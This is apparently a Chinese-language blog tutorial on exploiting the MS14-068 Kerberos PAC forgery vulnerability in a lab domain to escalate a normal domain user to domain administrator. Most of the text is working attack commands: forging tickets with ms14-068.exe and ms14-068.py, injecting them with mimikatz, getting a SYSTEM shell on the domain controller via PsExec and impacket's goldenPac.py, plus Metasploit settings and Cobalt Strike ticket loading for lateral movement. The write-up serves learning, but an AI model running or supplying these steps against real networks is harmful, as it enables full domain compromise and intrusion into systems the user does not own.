前言
Pass The Ticket 也是横向渗透的一种攻击方式,简称ptt。而Ticket票据是利用kerberos 协议进行攻击的,所以之前先学了《kerberos 认证学习》。
常见的有三种攻击方式:ms14-068、Golden Ticket(黄金票据)、Silver Ticket(白银票据)
我们今天先学习ms14-068,获取DC的一种方式。
漏洞起源
在kerberos 协议中,Client去访问Server,需要知道是否具有访问权限。所以微软在KRB_AS_REP
中的TGT中增加了Client的PAC(特权属性证书),也就是Client的权限,包括Client的User的SID、Group的SID。
ms14-068 漏洞就是在经过身份验证的Client在TGT中伪造高权限的PAC。
漏洞细节参考:深入解读MS14-068漏洞:微软精心策划的后门?
该漏洞允许任何一个域普通用户,将自己提升至域管理员权限。微软给出的补丁号kb3011780。
测试在server 2012未成功利用该漏洞。
漏洞利用
测试环境
域:tide.org
域控制器 dc.tide.org,server 2008 服务器,IP为10.211.55.88
域用户 tidetest,server 2008 服务器,IP为10.211.55.8
假设我们通过NTLM-Hash或者明文密码获取了域用户tidetest的权限,就可以利用ms14-068漏洞将自己域用户提权为域管理员权限。以下实验操作均是在tidetest域用户权限下操作(非管理员权限)
在默认情况下,域用户tidetest是没有权限访问dc.tide.org(DC)的。
ms14-068.exe
1.获取域用户tidetest的SID
SID(安全标识符),是为域或本地计算机中创建每个帐户所分配的唯一ID字符串。
whoami /user
2.生成TGT票据
从github下载ms14-068.exe利用工具
ms14-068.exe -u [email protected] -s S-1-5-21-2478348595-1372543966-1277690238-1104 -d 10.211.55.88 -p test@666
-u 域用户@域名
-s 域用户SID
-d 域控制器地址
-p 域成员密码
命令执行后,会创建.ccache文件。证明漏洞触发成功。
3.注入内存
再使用mimikatz将票据(TGT)注入到当前内存中,来伪造kerberos协议认证证书。
kerberos::purge //清空当前所有凭证
kerberos::list //查看当前凭证
kerberos::ptc [email protected] //将票据注入到内存中
注入之前:
注入之后:
kerberos::list 可查看到凭证
继续使用PSTools目录下的PsExec64.exe获取cmdshell。获取域控制器权限,且为system权限。
ms14-068.py
该脚本也是产生一张kerberos的票据缓存,可以针对linux平台的kerberos认证,也可以是windows。
github下载windows-kernel-exploits ,切换至MS14-068目录下,可运行ms14-068.py文件。
注:单独下载ms14-068.py无法使用
命令为
python ms14-068.py -u [email protected] -s S-1-5-21-2478348595-1372543966-1277690238-1104 -d 10.211.55.88 -p test@666
生成.ccache文件。
也是一样的道理,使用mimikatz注入票据
kerberos::ptc [email protected]
需要注意的是dir输入计算机名,而不是IP地址。
goldenPac.py
goldenPac.py脚本是impacket工具包里的。
先需要在kali上安装kerberos客户端:
apt-get install krb5-user
再使用goldenPac.py脚本
goldenPac.py -dc-ip 1.1.1.1 -target-ip 2.2.2.2 domain.net/normaluser:mypwd@domain-host
命令为
python goldenPac.py -dc-ip 10.211.55.88 -target-ip 10.211.55.88 tide.org/tidetest:test@[email protected]
就可以直接获取cmdshell。
metasploit
使用ms14_068_kerberos_checksum模块
set domain tide.org
set user tidetest
set password test@666
set rhosts 10.211.55.88
set user_sid S-1-5-21-2478348595-1372543966-1277690238-1104
可导出bin文件,证明存在ms14-068漏洞。
但是后续在内存中导出Ticket,以及使用票据的过程中,始终出错。
有解决方案的小伙伴可以告诉我。
CobaltStrike
依然是使用ms14-068生成一个票据。
执行命令后会在当前目录生成.ccache 的文件
然后使用 KrbCredExport 将 .ccache文件转化为kirbi格式,也就是user.ticket。
python KrbCredExport.py [email protected] user.ticket
使用cobaltstrike 的 kerberos_ticket_use命令加载ticket。
加载后可以访问到DC。
如果要继续利用,可以利用当前的session对域控进行psh。
手动Add Target
勾选use session's current access token
,选择获取tidetest域用户的session。
DC即可上线。
参考资料
MS14-068域权限提升漏洞总结
ms14-068之metasploit应用
通过 Cobalt Strike 利用 ms14-068